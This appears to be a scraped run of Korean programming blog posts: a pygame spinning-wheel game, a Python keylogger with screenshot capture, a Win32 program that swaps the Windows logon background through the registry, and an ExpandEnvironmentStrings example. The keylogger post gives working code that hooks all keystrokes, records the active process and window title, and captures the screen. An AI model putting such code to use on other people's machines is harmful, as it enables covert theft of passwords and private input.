#-*- coding: utf-8 -*-
import sys
import pygame
from pygame.locals import *
import time

# 초당 프레임수를 정의
TARGET_FPS = 30
clock = pygame.time.Clock()

# 색 정의
BLACK = (0, 0, 0)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)
WHITE = (255, 255, 255)

# 라이브러리 및 디스플레이 초기화
pygame.init()
screen = pygame.display.set_mode((600, 400), DOUBLEBUF) # 윈도우 크기 및 속성 설정
pygame.display.set_caption('돌림판')  # 타이틀바의 텍스트를 설정

# 이미지 파일을 로딩
img = pygame.image.load('images.png') # 돌림판 이미지
img2 = pygame.image.load('images2.jpg') # 화살표

degree = 0
flag = True 
rad = 100
stop_time = 3 # 돌림판이 멈출 때까지의 시간 (클수록 빨리 멈춤)

# 메인 루프
while True:
  for event in pygame.event.get():
    # 이벤트를 처리하는 부분
    if event.type == QUIT:
      pygame.quit()
      sys.exit()

    # 키보드 이벤트 처리
    if event.type == KEYDOWN:
      # 스페이스 -> 토글
      if event.key == 32:
          if flag == True:
              flag = False
          elif flag == False:
              flag = True
              rad = 100

  # 게임의 상태를 화면에 그려주는 부분
  screen.fill(WHITE)
  
  # 이미지 파일 회전하여 그리기
  x = 350
  y = 200
  
  rotated = pygame.transform.rotate(img, degree) # degree 만큼 회전
  rect = rotated.get_rect()
  rect.center = (x, y)
  screen.blit(rotated, rect)

  # 플래그의 상태가 True면 회전, False면 천천히 정지
  if flag == True:
      degree += rad
  elif flag == False:
      if rad > 0:
          rad -= stop_time
          degree += rad
          

  screen.blit(img2, (70, 180)) # 화살표 그리기
  pygame.display.flip()  # 화면 전체를 업데이트
  clock.tick(TARGET_FPS)  # 프레임 수 맞추기

 

3. 결과

 

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
[Python] yfinance 모듈  (0) 2021.05.27
[Python] pycryptodome 모듈  (0) 2020.09.26
[Python] 원 나누기  (0) 2016.10.03
[Python] 키로거 + 스크린샷  (0) 2016.09.18
728x90
반응형

1. 개요

 - 현재 포커스를 가지고 있는 프로세스를 파악

 - 키 다운 이벤트 발생한 버튼이 프린트스크린이면 전체 화면을 캡쳐한 후 파일로 저장

 

2. 코드
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
import win32gui
import win32ui
import win32con
import win32api

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi

current_window = None

def screenshot(): # win32API를 사용해서 전체 화면의 스크린샷을 파일로 만들어줌
    hdesktop = win32gui.GetDesktopWindow()

    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    desktop_dc = win32gui.GetWindowDC(hdesktop)
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)

    mem_dc = img_dc.CreateCompatibleDC()

    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)
    mem_dc.SelectObject(screenshot)

    mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

    # 위에서 만든 비트맵을 여기서 파일로 저장해줌
    screenshot.SaveBitmapFile(mem_dc, 'C:\\Users\\HWAN\\Desktop\\test.bmp')

    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())


def get_current_process(): # 현재 활성화된 프로세스 정보를 얻어옴
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" *512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    print
    print "[PID : %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event): # 키다운 발생되었을 때 처리
    try:
        global current_window

        if event.WindowName != current_window:
            current_window = event.WindowName
            get_current_process()

        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            if event.Key == "Snapshot": # PrtSc 키 입력시 screenshot() 호출
                screenshot()   
            else:
                print "[%s]" % event.Key,
    except:
        None
    return True


#훅 매니저 등록
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

kl.HookKeyboard()
pythoncom.PumpMessages()

 

 

728x90
반응형

'프로그래밍 > Python' 카테고리의 다른 글

[Python] FinanceDataReader 모듈  (0) 2021.07.31
[Python] pykrx 모듈  (0) 2021.05.27
[Python] yfinance 모듈  (0) 2021.05.27
[Python] pycryptodome 모듈  (0) 2020.09.26
[Python] 원 나누기  (0) 2016.10.03
[Python] 돌림판  (0) 2016.10.03
728x90
반응형

[기본 지식]

 - 로그인 배경화면 변경 방법

 - 관리자 권한 요구

 - 파일열기 대화상자

 - 레지스트리 변경 방법

 

[Example Source]

#include <windows.h>
#include <stdio.h>
#include "ShReg.h" // Windows API정복 책 참조

#define KEY L"SOFTWARE\\Microsoft\\windows\\CurrentVersion\\Authentication\\LogonUI\\Background" 
#define PATH L"C:\\windows\\system32\\oobe\\info\\backgrounds\\backgroundDefault.jpg"
#define DIRPATH L"C:\\windows\\system32\\oobe\\info\\backgrounds"

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HINSTANCE g_Inst;
LPCWSTR lpszClass = TEXT("Window");

// http://blog.naver.com/PostView.nhn?blogId=dolicom&logNo=10096040743 참조
void CreateDir(WCHAR* Path)
{
    WCHAR DirName[256];  //생성할 디렉초리 이름
    WCHAR* p = Path;     //인자로 받은 디렉토리
    WCHAR* q = DirName;  

    while(*p)
    {
        if (('\\' == *p) || ('/' == *p))   //루트디렉토리 혹은 Sub디렉토리
        {
            if (':' != *(p-1))
            {
                CreateDirectory(DirName, NULL);
            }
        }
        *q++ = *p++;
        *q = '\0';
    }
    CreateDirectory(DirName, NULL);  
}

// WinMain 생략

LRESULT CALLBACK WndProc(HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam)
{
    static HANDLE hFile;
    HANDLE hFile_new;
    DWORD numWritten;
    static DWORD nFileSize;
    OPENFILENAME OFN;
    TCHAR lpstrFile[MAX_PATH] = L"";

    static HDC hdc;
    PAINTSTRUCT ps;
    static BOOL file_state;
    static WCHAR str[100];

    static char *buf;
    DWORD readn; 

    switch(iMessage)
    {
    case WM_CREATE:
        CreateWindow(L"button", L"Image Select", WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, 10, 10, 150, 25, hWnd, (HMENU)1, g_Inst, NULL);
        CreateWindow(L"button", L"convert Background", WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, 10, 40, 150, 25, hWnd, (HMENU)2, g_Inst, NULL);
        file_state = FALSE;
        CreateDir(DIRPATH); // DIRPATH 경로에 디렉토리가 없다면 생성 (부모 디렉토리가 없어도 알아서 생성)
        break;

    case WM_COMMAND:
        switch(LOWORD(wParam))
        {
        case 1:
            memset(&OFN, 0, sizeof(OPENFILENAME));
            OFN.lStructSize = sizeof(OPENFILENAME);
            OFN.hwndOwner=hWnd;
            OFN.lpstrFilter=TEXT("jpg\0*.jpg\0");
            OFN.lpstrFile=lpstrFile;
            OFN.nMaxFile=MAX_PATH;

            if(GetOpenFileName(&OFN) != 0)
            {
                if( (hFile = CreateFile(OFN.lpstrFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE)
                {
                    
                    if((nFileSize = GetFileSize(hFile, NULL)) >= 256000) // 파일 사이즈 검사
                    {
                        MessageBox(hWnd, L"File size is too big \"Below 256kb\"", L"Error", MB_OK);
                        DestroyWindow(hWnd);
                    }

                    buf = (char*) malloc (nFileSize); // 파일 사이즈 만큼 할당
                    ReadFile(hFile, buf, nFileSize, &readn, NULL); // 파일 사이즈 만큼 읽어옴
                    
                    file_state = TRUE;
                    
                    swprintf_s(str, 100, L"%s", OFN.lpstrFile);
                    InvalidateRect(hWnd, NULL, TRUE);
                }
            }
            break;
        case 2:
            if(file_state != FALSE) // 파일이 열려있는지 확인
            {
                // 파일을 쓰기위해 핸들을 얻어옴 (PATH에 해당하는 파일이 없다면 생성)
                if( (hFile_new = CreateFile(PATH, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL)) != INVALID_HANDLE_VALUE)
                {
                    // PATH에 아까 열었던 이미지파일을 써줌
                    if( WriteFile(hFile_new, buf, nFileSize, &numWritten, NULL) != 0)
                        MessageBox(hWnd, L"File Write Success", 0, MB_OK);
                    else
                        MessageBox(hWnd, L"File Write Failed", 0, MB_OK);
                
                    free(buf);
                    DestroyWindow(hWnd);
                }
                SHRegWriteInt(SHLM, KEY, L"OEMBackground", 1); 
 // 레지스트리 경로 내부의 OEMBackground를 1로 변경 (PATH를 배경으로 사용하겠다는 의미)
            }
            else
            {
                MessageBox(0, L"File open Failed", 0, 0);
            }
        } 
        break;

    case WM_PAINT:
        hdc = BeginPaint(hWnd , &ps);
        
        TextOut(hdc, 170, 10, str, WideCharToMultiByte( CP_ACP, 0, str, -1, NULL, 0, NULL, NULL )-1); 
 // 유니코드 문자열의 사이즈를 구하기 위해 WideCharToMultiByte() 사용

        EndPaint(hWnd, NULL);
        break;

    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hWnd, iMessage, wParam,lParam);
}

 

 

728x90
반응형
728x90
반응형

1. 개요

 ExpandEnvironmentStrings(LPCTSTR lpSrc, LPTSTR lpDst, DWORD nSize)

 - 환경 변수에 저장된 데이터를 불러올 수 있음.

 

 Parameter

 - lpSrc : 아래 표의 왼쪽 값을 문자열로 넣어줌.

 - lpDst : 아래 표 오른쪽 결과를 얻어옴.

 - nSize : lpDst 의 크기

출처 : http://securityfactory.tistory.com/315

2. 코드

#include<windows.h>
#include<stdio.h>

#define SYSTEMDRIVE  "%SystemDrive%"
#define PUBLIC       "%PUBLIC%"
#define USERDOMAIN   "%USERDOMAIN%"
#define USERNAME     "%USERNAME%"
#define OS           "%OS%"
#define COMPUTERNAME "%COMPUTERNAME%"

int main()
{
    LPTSTR lpDst[200];

    ExpandEnvironmentStrings(SYSTEMDRIVE, lpDst, sizeof(lpDst));
    printf("Result : %s\n", lpDst);
    
    return 0;
}

 

728x90
반응형

+ Recent posts